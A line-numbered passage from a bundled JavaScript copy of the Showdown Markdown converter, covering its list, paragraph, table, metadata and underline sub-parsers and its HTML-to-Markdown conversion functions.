3713 rgx = /(\n)?(^ {0,3})([*+-]|\d+[.])[ \t]+((\[(x|X| )?])?[ \t]*[^\r]+?(\n{1,2}))(?=\n*(¨0|\2([*+-]|\d+[.])[ \t]+))/gm;
3714 }
3715 listStr = listStr.replace(rgx, function(wholeMatch, m1, m2, m3, m4, taskbtn, checked) {
3716 checked = checked && checked.trim() !== "";
3717 var item = showdown2.subParser("outdent")(m4, options, globals), bulletStyle = "";
3718 if (taskbtn && options.tasklists) {
3719 bulletStyle = ' class="task-list-item" style="list-style-type: none;"';
3720 item = item.replace(/^[ \t]*\[(x|X| )?]/m, function() {
3721 var otp = '<input type="checkbox" disabled style="margin: 0px 0.35em 0.25em -1.6em; vertical-align: middle;"';
3722 if (checked) {
3723 otp += " checked";
3724 }
3725 otp += ">";
3726 return otp;
3727 });
3728 }
3729 item = item.replace(/^([-*+]|\d\.)[ \t]+[\S\n ]*/g, function(wm2) {
3730 return "\xA8A" + wm2;
3731 });
3732 if (m1 || item.search(/\n{2,}/) > -1) {
3733 item = showdown2.subParser("githubCodeBlocks")(item, options, globals);
3734 item = showdown2.subParser("blockGamut")(item, options, globals);
3735 } else {
3736 item = showdown2.subParser("lists")(item, options, globals);
3737 item = item.replace(/\n$/, "");
3738 item = showdown2.subParser("hashHTMLBlocks")(item, options, globals);
3739 item = item.replace(/\n\n+/g, "\n\n");
3740 if (isParagraphed) {
3741 item = showdown2.subParser("paragraphs")(item, options, globals);
3742 } else {
3743 item = showdown2.subParser("spanGamut")(item, options, globals);
3744 }
3745 }
3746 item = item.replace("\xA8A", "");
3747 item = "<li" + bulletStyle + ">" + item + "</li>\n";
3748 return item;
3749 });
3750 listStr = listStr.replace(/¨0/g, "");
3751 globals.gListLevel--;
3752 if (trimTrailing) {
3753 listStr = listStr.replace(/\s+$/, "");
3754 }
3755 return listStr;
3756 }
3757 function styleStartNumber(list, listType) {
3758 if (listType === "ol") {
3759 var res = list.match(/^ *(\d+)\./);
3760 if (res && res[1] !== "1") {
3761 return ' start="' + res[1] + '"';
3762 }
3763 }
3764 return "";
3765 }
3766 function parseConsecutiveLists(list, listType, trimTrailing) {
3767 var olRgx = options.disableForced4SpacesIndentedSublists ? /^ ?\d+\.[ \t]/gm : /^ {0,3}\d+\.[ \t]/gm, ulRgx = options.disableForced4SpacesIndentedSublists ? /^ ?[*+-][ \t]/gm : /^ {0,3}[*+-][ \t]/gm, counterRxg = listType === "ul" ? olRgx : ulRgx, result = "";
3768 if (list.search(counterRxg) !== -1) {
3769 (function parseCL(txt) {
3770 var pos = txt.search(counterRxg), style2 = styleStartNumber(list, listType);
3771 if (pos !== -1) {
3772 result += "\n\n<" + listType + style2 + ">\n" + processListItems(txt.slice(0, pos), !!trimTrailing) + "</" + listType + ">\n";
3773 listType = listType === "ul" ? "ol" : "ul";
3774 counterRxg = listType === "ul" ? olRgx : ulRgx;
3775 parseCL(txt.slice(pos));
3776 } else {
3777 result += "\n\n<" + listType + style2 + ">\n" + processListItems(txt, !!trimTrailing) + "</" + listType + ">\n";
3778 }
3779 })(list);
3780 } else {
3781 var style = styleStartNumber(list, listType);
3782 result = "\n\n<" + listType + style + ">\n" + processListItems(list, !!trimTrailing) + "</" + listType + ">\n";
3783 }
3784 return result;
3785 }
3786 text2 = globals.converter._dispatch("lists.before", text2, options, globals);
3787 text2 += "\xA80";
3788 if (globals.gListLevel) {
3789 text2 = text2.replace(
3790 /^(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(¨0|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,
3791 function(wholeMatch, list, m2) {
3792 var listType = m2.search(/[*+-]/g) > -1 ? "ul" : "ol";
3793 return parseConsecutiveLists(list, listType, true);
3794 }
3795 );
3796 } else {
3797 text2 = text2.replace(
3798 /(\n\n|^\n?)(( {0,3}([*+-]|\d+[.])[ \t]+)[^\r]+?(¨0|\n{2,}(?=\S)(?![ \t]*(?:[*+-]|\d+[.])[ \t]+)))/gm,
3799 function(wholeMatch, m1, list, m3) {
3800 var listType = m3.search(/[*+-]/g) > -1 ? "ul" : "ol";
3801 return parseConsecutiveLists(list, listType, false);
3802 }
3803 );
3804 }
3805 text2 = text2.replace(/¨0/, "");
3806 text2 = globals.converter._dispatch("lists.after", text2, options, globals);
3807 return text2;
3808 });
3809 showdown2.subParser("metadata", function(text2, options, globals) {
3810 "use strict";
3811 if (!options.metadata) {
3812 return text2;
3813 }
3814 text2 = globals.converter._dispatch("metadata.before", text2, options, globals);
3815 function parseMetadataContents(content) {
3816 globals.metadata.raw = content;
3817 content = content.replace(/&/g, "&amp;").replace(/"/g, "&quot;");
3818 content = content.replace(/\n {4}/g, " ");
3819 content.replace(/^([\S ]+): +([\s\S]+?)$/gm, function(wm, key, value) {
3820 globals.metadata.parsed[key] = value;
3821 return "";
3822 });
3823 }
3824 text2 = text2.replace(/^\s*«««+(\S*?)\n([\s\S]+?)\n»»»+\n/, function(wholematch, format, content) {
3825 parseMetadataContents(content);
3826 return "\xA8M";
3827 });
3828 text2 = text2.replace(/^\s*---+(\S*?)\n([\s\S]+?)\n---+\n/, function(wholematch, format, content) {
3829 if (format) {
3830 globals.metadata.format = format;
3831 }
3832 parseMetadataContents(content);
3833 return "\xA8M";
3834 });
3835 text2 = text2.replace(/¨M/g, "");
3836 text2 = globals.converter._dispatch("metadata.after", text2, options, globals);
3837 return text2;
3838 });
3839 showdown2.subParser("outdent", function(text2, options, globals) {
3840 "use strict";
3841 text2 = globals.converter._dispatch("outdent.before", text2, options, globals);
3842 text2 = text2.replace(/^(\t|[ ]{1,4})/gm, "\xA80");
3843 text2 = text2.replace(/¨0/g, "");
3844 text2 = globals.converter._dispatch("outdent.after", text2, options, globals);
3845 return text2;
3846 });
3847 showdown2.subParser("paragraphs", function(text2, options, globals) {
3848 "use strict";
3849 text2 = globals.converter._dispatch("paragraphs.before", text2, options, globals);
3850 text2 = text2.replace(/^\n+/g, "");
3851 text2 = text2.replace(/\n+$/g, "");
3852 var grafs = text2.split(/\n{2,}/g), grafsOut = [], end = grafs.length;
3853 for (var i2 = 0; i2 < end; i2++) {
3854 var str = grafs[i2];
3855 if (str.search(/¨(K|G)(\d+)\1/g) >= 0) {
3856 grafsOut.push(str);
3857 } else if (str.search(/\S/) >= 0) {
3858 str = showdown2.subParser("spanGamut")(str, options, globals);
3859 str = str.replace(/^([ \t]*)/g, "<p>");
3860 str += "</p>";
3861 grafsOut.push(str);
3862 }
3863 }
3864 end = grafsOut.length;
3865 for (i2 = 0; i2 < end; i2++) {
3866 var blockText = "", grafsOutIt = grafsOut[i2], codeFlag = false;
3867 while (/¨(K|G)(\d+)\1/.test(grafsOutIt)) {
3868 var delim = RegExp.$1, num = RegExp.$2;
3869 if (delim === "K") {
3870 blockText = globals.gHtmlBlocks[num];
3871 } else {
3872 if (codeFlag) {
3873 blockText = showdown2.subParser("encodeCode")(globals.ghCodeBlocks[num].text, options, globals);
3874 } else {
3875 blockText = globals.ghCodeBlocks[num].codeblock;
3876 }
3877 }
3878 blockText = blockText.replace(/\$/g, "$$$$");
3879 grafsOutIt = grafsOutIt.replace(/(\n\n)?¨(K|G)\d+\2(\n\n)?/, blockText);
3880 if (/^<pre\b[^>]*>\s*<code\b[^>]*>/.test(grafsOutIt)) {
3881 codeFlag = true;
3882 }
3883 }
3884 grafsOut[i2] = grafsOutIt;
3885 }
3886 text2 = grafsOut.join("\n");
3887 text2 = text2.replace(/^\n+/g, "");
3888 text2 = text2.replace(/\n+$/g, "");
3889 return globals.converter._dispatch("paragraphs.after", text2, options, globals);
3890 });
3891 showdown2.subParser("runExtension", function(ext, text2, options, globals) {
3892 "use strict";
3893 if (ext.filter) {
3894 text2 = ext.filter(text2, globals.converter, options);
3895 } else if (ext.regex) {
3896 var re = ext.regex;
3897 if (!(re instanceof RegExp)) {
3898 re = new RegExp(re, "g");
3899 }
3900 text2 = text2.replace(re, ext.replace);
3901 }
3902 return text2;
3903 });
3904 showdown2.subParser("spanGamut", function(text2, options, globals) {
3905 "use strict";
3906 text2 = globals.converter._dispatch("spanGamut.before", text2, options, globals);
3907 text2 = showdown2.subParser("codeSpans")(text2, options, globals);
3908 text2 = showdown2.subParser("escapeSpecialCharsWithinTagAttributes")(text2, options, globals);
3909 text2 = showdown2.subParser("encodeBackslashEscapes")(text2, options, globals);
3910 text2 = showdown2.subParser("images")(text2, options, globals);
3911 text2 = showdown2.subParser("anchors")(text2, options, globals);
3912 text2 = showdown2.subParser("autoLinks")(text2, options, globals);
3913 text2 = showdown2.subParser("simplifiedAutoLinks")(text2, options, globals);
3914 text2 = showdown2.subParser("emoji")(text2, options, globals);
3915 text2 = showdown2.subParser("underline")(text2, options, globals);
3916 text2 = showdown2.subParser("italicsAndBold")(text2, options, globals);
3917 text2 = showdown2.subParser("strikethrough")(text2, options, globals);
3918 text2 = showdown2.subParser("ellipsis")(text2, options, globals);
3919 text2 = showdown2.subParser("hashHTMLSpans")(text2, options, globals);
3920 text2 = showdown2.subParser("encodeAmpsAndAngles")(text2, options, globals);
3921 if (options.simpleLineBreaks) {
3922 if (!/\n\n¨K/.test(text2)) {
3923 text2 = text2.replace(/\n+/g, "<br />\n");
3924 }
3925 } else {
3926 text2 = text2.replace(/ +\n/g, "<br />\n");
3927 }
3928 text2 = globals.converter._dispatch("spanGamut.after", text2, options, globals);
3929 return text2;
3930 });
3931 showdown2.subParser("strikethrough", function(text2, options, globals) {
3932 "use strict";
3933 function parseInside(txt) {
3934 if (options.simplifiedAutoLink) {
3935 txt = showdown2.subParser("simplifiedAutoLinks")(txt, options, globals);
3936 }
3937 return "<del>" + txt + "</del>";
3938 }
3939 if (options.strikethrough) {
3940 text2 = globals.converter._dispatch("strikethrough.before", text2, options, globals);
3941 text2 = text2.replace(/(?:~){2}([\s\S]+?)(?:~){2}/g, function(wm, txt) {
3942 return parseInside(txt);
3943 });
3944 text2 = globals.converter._dispatch("strikethrough.after", text2, options, globals);
3945 }
3946 return text2;
3947 });
3948 showdown2.subParser("stripLinkDefinitions", function(text2, options, globals) {
3949 "use strict";
3950 var regex = /^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*<?([^>\s]+)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)["|'(](.+?)["|')][ \t]*)?(?:\n+|(?=¨0))/gm, base64Regex = /^ {0,3}\[(.+)]:[ \t]*\n?[ \t]*<?(data:.+?\/.+?;base64,[A-Za-z0-9+/=\n]+?)>?(?: =([*\d]+[A-Za-z%]{0,4})x([*\d]+[A-Za-z%]{0,4}))?[ \t]*\n?[ \t]*(?:(\n*)["|'(](.+?)["|')][ \t]*)?(?:\n\n|(?=¨0)|(?=\n\[))/gm;
3951 text2 += "\xA80";
3952 var replaceFunc = function(wholeMatch, linkId, url, width, height, blankLines, title) {
3953 linkId = linkId.toLowerCase();
3954 if (url.match(/^data:.+?\/.+?;base64,/)) {
3955 globals.gUrls[linkId] = url.replace(/\s/g, "");
3956 } else {
3957 globals.gUrls[linkId] = showdown2.subParser("encodeAmpsAndAngles")(url, options, globals);
3958 }
3959 if (blankLines) {
3960 return blankLines + title;
3961 } else {
3962 if (title) {
3963 globals.gTitles[linkId] = title.replace(/"|'/g, "&quot;");
3964 }
3965 if (options.parseImgDimensions && width && height) {
3966 globals.gDimensions[linkId] = {
3967 width,
3968 height
3969 };
3970 }
3971 }
3972 return "";
3973 };
3974 text2 = text2.replace(base64Regex, replaceFunc);
3975 text2 = text2.replace(regex, replaceFunc);
3976 text2 = text2.replace(/¨0/, "");
3977 return text2;
3978 });
3979 showdown2.subParser("tables", function(text2, options, globals) {
3980 "use strict";
3981 if (!options.tables) {
3982 return text2;
3983 }
3984 var tableRgx = /^ {0,3}\|?.+\|.+\n {0,3}\|?[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*:?[ \t]*(?:[-=]){2,}[\s\S]+?(?:\n\n|¨0)/gm, singeColTblRgx = /^ {0,3}\|.+\|[ \t]*\n {0,3}\|[ \t]*:?[ \t]*(?:[-=]){2,}[ \t]*:?[ \t]*\|[ \t]*\n( {0,3}\|.+\|[ \t]*\n)*(?:\n|¨0)/gm;
3985 function parseStyles(sLine) {
3986 if (/^:[ \t]*--*$/.test(sLine)) {
3987 return ' style="text-align:left;"';
3988 } else if (/^--*[ \t]*:[ \t]*$/.test(sLine)) {
3989 return ' style="text-align:right;"';
3990 } else if (/^:[ \t]*--*[ \t]*:$/.test(sLine)) {
3991 return ' style="text-align:center;"';
3992 } else {
3993 return "";
3994 }
3995 }
3996 function parseHeaders(header, style) {
3997 var id = "";
3998 header = header.trim();
3999 if (options.tablesHeaderId || options.tableHeaderId) {
4000 id = ' id="' + header.replace(/ /g, "_").toLowerCase() + '"';
4001 }
4002 header = showdown2.subParser("spanGamut")(header, options, globals);
4003 return "<th" + id + style + ">" + header + "</th>\n";
4004 }
4005 function parseCells(cell, style) {
4006 var subText = showdown2.subParser("spanGamut")(cell, options, globals);
4007 return "<td" + style + ">" + subText + "</td>\n";
4008 }
4009 function buildTable(headers, cells) {
4010 var tb = "<table>\n<thead>\n<tr>\n", tblLgn = headers.length;
4011 for (var i2 = 0; i2 < tblLgn; ++i2) {
4012 tb += headers[i2];
4013 }
4014 tb += "</tr>\n</thead>\n<tbody>\n";
4015 for (i2 = 0; i2 < cells.length; ++i2) {
4016 tb += "<tr>\n";
4017 for (var ii = 0; ii < tblLgn; ++ii) {
4018 tb += cells[i2][ii];
4019 }
4020 tb += "</tr>\n";
4021 }
4022 tb += "</tbody>\n</table>\n";
4023 return tb;
4024 }
4025 function parseTable(rawTable) {
4026 var i2, tableLines = rawTable.split("\n");
4027 for (i2 = 0; i2 < tableLines.length; ++i2) {
4028 if (/^ {0,3}\|/.test(tableLines[i2])) {
4029 tableLines[i2] = tableLines[i2].replace(/^ {0,3}\|/, "");
4030 }
4031 if (/\|[ \t]*$/.test(tableLines[i2])) {
4032 tableLines[i2] = tableLines[i2].replace(/\|[ \t]*$/, "");
4033 }
4034 tableLines[i2] = showdown2.subParser("codeSpans")(tableLines[i2], options, globals);
4035 }
4036 var rawHeaders = tableLines[0].split("|").map(function(s2) {
4037 return s2.trim();
4038 }), rawStyles = tableLines[1].split("|").map(function(s2) {
4039 return s2.trim();
4040 }), rawCells = [], headers = [], styles = [], cells = [];
4041 tableLines.shift();
4042 tableLines.shift();
4043 for (i2 = 0; i2 < tableLines.length; ++i2) {
4044 if (tableLines[i2].trim() === "") {
4045 continue;
4046 }
4047 rawCells.push(
4048 tableLines[i2].split("|").map(function(s2) {
4049 return s2.trim();
4050 })
4051 );
4052 }
4053 if (rawHeaders.length < rawStyles.length) {
4054 return rawTable;
4055 }
4056 for (i2 = 0; i2 < rawStyles.length; ++i2) {
4057 styles.push(parseStyles(rawStyles[i2]));
4058 }
4059 for (i2 = 0; i2 < rawHeaders.length; ++i2) {
4060 if (showdown2.helper.isUndefined(styles[i2])) {
4061 styles[i2] = "";
4062 }
4063 headers.push(parseHeaders(rawHeaders[i2], styles[i2]));
4064 }
4065 for (i2 = 0; i2 < rawCells.length; ++i2) {
4066 var row = [];
4067 for (var ii = 0; ii < headers.length; ++ii) {
4068 if (showdown2.helper.isUndefined(rawCells[i2][ii])) {
4069 }
4070 row.push(parseCells(rawCells[i2][ii], styles[ii]));
4071 }
4072 cells.push(row);
4073 }
4074 return buildTable(headers, cells);
4075 }
4076 text2 = globals.converter._dispatch("tables.before", text2, options, globals);
4077 text2 = text2.replace(/\\(\|)/g, showdown2.helper.escapeCharactersCallback);
4078 text2 = text2.replace(tableRgx, parseTable);
4079 text2 = text2.replace(singeColTblRgx, parseTable);
4080 text2 = globals.converter._dispatch("tables.after", text2, options, globals);
4081 return text2;
4082 });
4083 showdown2.subParser("underline", function(text2, options, globals) {
4084 "use strict";
4085 if (!options.underline) {
4086 return text2;
4087 }
4088 text2 = globals.converter._dispatch("underline.before", text2, options, globals);
4089 if (options.literalMidWordUnderscores) {
4090 text2 = text2.replace(/\b___(\S[\s\S]*?)___\b/g, function(wm, txt) {
4091 return "<u>" + txt + "</u>";
4092 });
4093 text2 = text2.replace(/\b__(\S[\s\S]*?)__\b/g, function(wm, txt) {
4094 return "<u>" + txt + "</u>";
4095 });
4096 } else {
4097 text2 = text2.replace(/___(\S[\s\S]*?)___/g, function(wm, m2) {
4098 return /\S$/.test(m2) ? "<u>" + m2 + "</u>" : wm;
4099 });
4100 text2 = text2.replace(/__(\S[\s\S]*?)__/g, function(wm, m2) {
4101 return /\S$/.test(m2) ? "<u>" + m2 + "</u>" : wm;
4102 });
4103 }
4104 text2 = text2.replace(/(_)/g, showdown2.helper.escapeCharactersCallback);
4105 text2 = globals.converter._dispatch("underline.after", text2, options, globals);
4106 return text2;
4107 });
4108 showdown2.subParser("unescapeSpecialChars", function(text2, options, globals) {
4109 "use strict";
4110 text2 = globals.converter._dispatch("unescapeSpecialChars.before", text2, options, globals);
4111 text2 = text2.replace(/¨E(\d+)E/g, function(wholeMatch, m1) {
4112 var charCodeToReplace = parseInt(m1);
4113 return String.fromCharCode(charCodeToReplace);
4114 });
4115 text2 = globals.converter._dispatch("unescapeSpecialChars.after", text2, options, globals);
4116 return text2;
4117 });
4118 showdown2.subParser("makeMarkdown.blockquote", function(node, globals) {
4119 "use strict";
4120 var txt = "";
4121 if (node.hasChildNodes()) {
4122 var children = node.childNodes, childrenLength = children.length;
4123 for (var i2 = 0; i2 < childrenLength; ++i2) {
4124 var innerTxt = showdown2.subParser("makeMarkdown.node")(children[i2], globals);
4125 if (innerTxt === "") {
4126 continue;
4127 }
4128 txt += innerTxt;
4129 }
4130 }
4131 txt = txt.trim();
4132 txt = "> " + txt.split("\n").join("\n> ");
4133 return txt;
4134 });
4135 showdown2.subParser("makeMarkdown.codeBlock", function(node, globals) {
4136 "use strict";
4137 var lang = node.getAttribute("language"), num = node.getAttribute("precodenum");
4138 return "```" + lang + "\n" + globals.preList[num] + "\n```";
4139 });
4140 showdown2.subParser("makeMarkdown.codeSpan", function(node) {
4141 "use strict";
4142 return "`" + node.innerHTML + "`";
4143 });
4144 showdown2.subParser("makeMarkdown.emphasis", function(node, globals) {
4145 "use strict";
4146 var txt = "";
4147 if (node.hasChildNodes()) {
4148 txt += "*";
4149 var children = node.childNodes, childrenLength = children.length;
4150 for (var i2 = 0; i2 < childrenLength; ++i2) {
4151 txt += showdown2.subParser("makeMarkdown.node")(children[i2], globals);
4152 }
4153 txt += "*";
4154 }
4155 return txt;
4156 });
4157 showdown2.subParser("makeMarkdown.header", function(node, globals, headerLevel) {
4158 "use strict";
4159 var headerMark = new Array(headerLevel + 1).join("#"), txt = "";
4160 if (node.hasChildNodes()) {
4161 txt = headerMark + " ";
4162 var children = node.childNodes, childrenLength = children.length;
4163 for (var i2 = 0; i2 < childrenLength; ++i2) {
4164 txt += showdown2.subParser("makeMarkdown.node")(children[i2], globals);
4165 }
4166 }
4167 return txt;
4168 });
4169 showdown2.subParser("makeMarkdown.hr", function() {
4170 "use strict";
4171 return "---";
4172 });
4173 showdown2.subParser("makeMarkdown.image", function(node) {
4174 "use strict";
4175 var txt = "";
4176 if (node.hasAttribute("src")) {
4177 txt += "![" + node.getAttribute("alt") + "](";
4178 txt += "<" + node.getAttribute("src") + ">";
4179 if (node.hasAttribute("width") && node.hasAttribute("height")) {
4180 txt += " =" + node.getAttribute("width") + "x" + node.getAttribute("height");
4181 }
4182 if (node.hasAttribute("title")) {
4183 txt += ' "' + node.getAttribute("title") + '"';
4184 }
4185 txt += ")";
4186 }
4187 return txt;
4188 });
4189 showdown2.subParser("makeMarkdown.links", function(node, globals) {
4190 "use strict";
4191 var txt = "";
4192 if (node.hasChildNodes() && node.hasAttribute("href")) {
4193 var children = node.childNodes, childrenLength = children.length;
4194 txt = "[";
4195 for (var i2 = 0; i2 < childrenLength; ++i2) {
4196 txt += showdown2.subParser("makeMarkdown.node")(children[i2], globals);
4197 }
4198 txt += "](";
4199 txt += "<" + node.getAttribute("href") + ">";
4200 if (node.hasAttribute("title")) {
4201 txt += ' "' + node.getAttribute("title") + '"';
4202 }
4203 txt += ")";
4204 }
4205 return txt;
4206 });
4207 showdown2.subParser("makeMarkdown.list", function(node, globals, type) {
4208 "use strict";
4209 var txt = "";
4210 if (!node.hasChildNodes()) {
4211 return "";
4212 }
4213 var listItems = node.childNodes, listItemsLenght = listItems.length, listNum = node.getAttribute("start") || 1;
4214 for (var i2 = 0; i2 < listItemsLenght; ++i2) {
4215 if (typeof listItems[i2].tagName === "undefined" || listItems[i2].tagName.toLowerCase() !== "li") {
4216 continue;
4217 }
4218 var bullet = "";
4219 if (type === "ol") {
4220 bullet = listNum.toString() + ". ";
4221 } else {
4222 bullet = "- ";
4223 }
4224 txt += bullet + showdown2.subParser("makeMarkdown.listItem")(listItems[i2], globals);
4225 ++listNum;
4226 }
4227 txt += "\n<!-- -->\n";
4228 return txt.trim();
4229 });
4230 showdown2.subParser("makeMarkdown.listItem", function(node, globals) {
4231 "use strict";
4232 var listItemTxt = "";
4233 var children = node.childNodes, childrenLenght = children.length;
4234 for (var i2 = 0; i2 < childrenLenght; ++i2) {
4235 listItemTxt += showdown2.subParser("makeMarkdown.node")(children[i2], globals);
4236 }
4237 if (!/\n$/.test(listItemTxt)) {
4238 listItemTxt += "\n";
4239 } else {
4240 listItemTxt = listItemTxt.split("\n").join("\n ").replace(/^ {4}$/gm, "").replace(/\n\n+/g, "\n\n");
4241 }
4242 return listItemTxt;
4243 });
4244 showdown2.subParser("makeMarkdown.node", function(node, globals, spansOnly) {
4245 "use strict";
4246 spansOnly = spansOnly || false;
4247 var txt = "";
4248 if (node.nodeType === 3) {
4249 return showdown2.subParser("makeMarkdown.txt")(node, globals);
4250 }
4251 if (node.nodeType === 8) {
4252 return "<!--" + node.data + "-->\n\n";
4253 }
4254 if (node.nodeType !== 1) {
4255 return "";
4256 }
4257 var tagName = node.tagName.toLowerCase();
4258 switch (tagName) {
4259 //
4260 // BLOCKS
4261 //
4262 case "h1":
4263 if (!spansOnly) {
4264 txt = showdown2.subParser("makeMarkdown.header")(node, globals, 1) + "\n\n";
4265 }
4266 break;
4267 case "h2":
4268 if (!spansOnly) {
4269 txt = showdown2.subParser("makeMarkdown.header")(node, globals, 2) + "\n\n";
4270 }
4271 break;
4272 case "h3":
4273 if (!spansOnly) {
4274 txt = showdown2.subParser("makeMarkdown.header")(node, globals, 3) + "\n\n";
4275 }
4276 break;
4277 case "h4":
4278 if (!spansOnly) {
4279 txt = showdown2.subParser("makeMarkdown.header")(node, globals, 4) + "\n\n";
4280 }
4281 break;
4282 case "h5":
4283 if (!spansOnly) {
4284 txt = showdown2.subParser("makeMarkdown.header")(node, globals, 5) + "\n\n";
4285 }
4286 break;
4287 case "h6":
4288 if (!spansOnly) {
4289 txt = showdown2.subParser("makeMarkdown.header")(node, globals, 6) + "\n\n";
4290 }
4291 break;
4292 case "p":
4293 if (!spansOnly) {
4294 txt = showdown2.subParser("makeMarkdown.paragraph")(node, globals) + "\n\n";
4295 }
4296 break;
4297 case "blockquote":
4298 if (!spansOnly) {
4299 txt = showdown2.subParser("makeMarkdown.blockquote")(node, globals) + "\n\n";
4300 }
4301 break;
4302 case "hr":
4303 if (!spansOnly) {
4304 txt = showdown2.subParser("makeMarkdown.hr")(node, globals) + "\n\n";
4305 }
4306 break;
4307 case "ol":
4308 if (!spansOnly) {
4309 txt = showdown2.subParser("makeMarkdown.list")(node, globals, "ol") + "\n\n";
4310 }
4311 break;
4312 case "ul":
4313 if (!spansOnly) {
4314 txt = showdown2.subParser("makeMarkdown.list")(node, globals, "ul") + "\n\n";
4315 }
4316 break;
4317 case "precode":
4318 if (!spansOnly) {
4319 txt = showdown2.subParser("makeMarkdown.codeBlock")(node, globals) + "\n\n";
4320 }
4321 break;
4322 case "pre":
4323 if (!spansOnly) {
4324 txt = showdown2.subParser("makeMarkdown.pre")(node, globals) + "\n\n";
4325 }
4326 break;
4327 case "table":
4328 if (!spansOnly) {
4329 txt = showdown2.subParser("makeMarkdown.table")(node, globals) + "\n\n";
4330 }
4331 break;
4332 //
4333 // SPANS
4334 //
4335 case "code":
4336 txt = showdown2.subParser("makeMarkdown.codeSpan")(node, globals);
4337 break;
4338 case "em":
4339 case "i":
4340 txt = showdown2.subParser("makeMarkdown.emphasis")(node, globals);
4341 break;
4342 case "strong":
4343 case "b":
4344 txt = showdown2.subParser("makeMarkdown.strong")(node, globals);
4345 break;
4346 case "del":
4347 txt = showdown2.subParser("makeMarkdown.strikethrough")(node, globals);
4348 break;
4349 case "a":
4350 txt = showdown2.subParser("makeMarkdown.links")(node, globals);
4351 break;
4352 case "img":
4353 txt = showdown2.subParser("makeMarkdown.image")(node, globals);
4354 break;
4355 default:
4356 txt = node.outerHTML + "\n\n";
4357 }
4358 return txt;
4359 });
4360 showdown2.subParser("makeMarkdown.paragraph", function(node, globals) {
4361 "use strict";
4362 var txt = "";
4363 if (node.hasChildNodes()) {
4364 var children = node.childNodes, childrenLength = children.length;
4365 for (var i2 = 0; i2 < childrenLength; ++i2) {
4366 txt += showdown2.subParser("makeMarkdown.node")(children[i2], globals);
4367 }
4368 }
4369 txt = txt.trim();
4370 return txt;
4371 });
4372 showdown2.subParser("makeMarkdown.pre", function(node, globals) {
4373 "use strict";
4374 var num = node.getAttribute("prenum");
4375 return "<pre>" + globals.preList[num] + "</pre>";
4376 });
4377 showdown2.subParser("makeMarkdown.strikethrough", function(node, globals) {
4378 "use strict";
4379 var txt = "";
4380 if (node.hasChildNodes()) {
4381 txt += "~~";
4382 var children = node.childNodes, childrenLength = children.length;
4383 for (var i2 = 0; i2 < childrenLength; ++i2) {
4384 txt += showdown2.subParser("makeMarkdown.node")(children[i2], globals);
4385 }
4386 txt += "~~";
4387 }
4388 return txt;
4389 });
4390 showdown2.subParser("makeMarkdown.strong", function(node, globals) {
4391 "use strict";
4392 var txt = "";
4393 if (node.hasChildNodes()) {
4394 txt += "**";
4395 var children = node.childNodes, childrenLength = children.length;
4396 for (var i2 = 0; i2 < childrenLength; ++i2) {
4397 txt += showdown2.subParser("makeMarkdown.node")(children[i2], globals);
4398 }
4399 txt += "**";
4400 }
4401 return txt;
4402 });
4403 showdown2.subParser("makeMarkdown.table", function(node, globals) {
4404 "use strict";
4405 var txt = "", tableArray = [[], []], headings = node.querySelectorAll("thead>tr>th"), rows = node.querySelectorAll("tbody>tr"), i2, ii;
4406 for (i2 = 0; i2 < headings.length; ++i2) {
4407 var headContent = showdown2.subParser("makeMarkdown.tableCell")(headings[i2], globals), allign = "---";
4408 if (headings[i2].hasAttribute("style")) {
4409 var style = headings[i2].getAttribute("style").toLowerCase().replace(/\s/g, "");
4410 switch (style) {
4411 case "text-align:left;":
4412 allign = ":---";
4413 break;
4414 case "text-align:right;":
4415 allign = "---:";
4416 break;
4417 case "text-align:center;":
4418 allign = ":---:";
4419 break;
4420 }
4421 }
4422 tableArray[0][i2] = headContent.trim();
4423 tableArray[1][i2] = allign;
4424 }
4425 for (i2 = 0; i2 < rows.length; ++i2) {
4426 var r2 = tableArray.push([]) - 1, cols = rows[i2].getElementsByTagName("td");
4427 for (ii = 0; ii < headings.length; ++ii) {
4428 var cellContent = " ";
4429 if (typeof cols[ii] !== "undefined") {
4430 cellContent = showdown2.subParser("makeMarkdown.tableCell")(cols[ii], globals);
4431 }
4432 tableArray[r2].push(cellContent);
4433 }
4434 }
4435 var cellSpacesCount = 3;
4436 for (i2 = 0; i2 < tableArray.length; ++i2) {
4437 for (ii = 0; ii < tableArray[i2].length; ++ii) {
4438 var strLen = tableArray[i2][ii].length;
4439 if (strLen > cellSpacesCount) {
4440 cellSpacesCount = strLen;
4441 }
4442 }
4443 }
4444 for (i2 = 0; i2 < tableArray.length; ++i2) {
4445 for (ii = 0; ii < tableArray[i2].length; ++ii) {
4446 if (i2 === 1) {
4447 if (tableArray[i2][ii].slice(-1) === ":") {
4448 tableArray[i2][ii] = showdown2.helper.padEnd(tableArray[i2][ii].slice(-1), cellSpacesCount - 1, "-") + ":";
4449 } else {
4450 tableArray[i2][ii] = showdown2.helper.padEnd(tableArray[i2][ii], cellSpacesCount, "-");
4451 }
4452 } else {
4453 tableArray[i2][ii] = showdown2.helper.padEnd(tableArray[i2][ii], cellSpacesCount);
4454 }
4455 }
4456 txt += "| " + tableArray[i2].join(" | ") + " |\n";
4457 }
4458 return txt.trim();
4459 });
4460 showdown2.subParser("makeMarkdown.tableCell", function(node, globals) {
4461 "use strict";
4462 var txt = "";
4463 if (!node.hasChildNodes()) {
4464 return "";
4465 }
4466 var children = node.childNodes, childrenLength = children.length;
4467 for (var i2 = 0; i2 < childrenLength; ++i2) {
4468 txt += showdown2.subParser("makeMarkdown.node")(children[i2], globals, true);
4469 }
4470 return txt.trim();
4471 });
4472 showdown2.subParser("makeMarkdown.txt", function(node) {
4473 "use strict";
4474 var txt = node.nodeValue;
4475 txt = txt.replace(/ +/g, " ");
4476 txt = txt.replace(/¨NBSP;/g, " ");
4477 txt = showdown2.helper.unescapeHTMLEntities(txt);
4478 txt = txt.replace(/([*_~|`])/g, "\\$1");
4479 txt = txt.replace(/^(\s*)>/g, "\\$1>");
4480 txt = txt.replace(/^#/gm, "\\#");
4481 txt = txt.replace(/^(\s*)([-=]{3,})(\s*)$/, "$1\\$2$3");
4482 txt = txt.replace(/^( {0,3}\d+)\./gm, "$1\\.");
4483 txt = txt.replace(/^( {0,3})([+-])/gm, "$1\\$2");
4484 txt = txt.replace(/]([\s]*)\(/g, "\\]$1\\(");
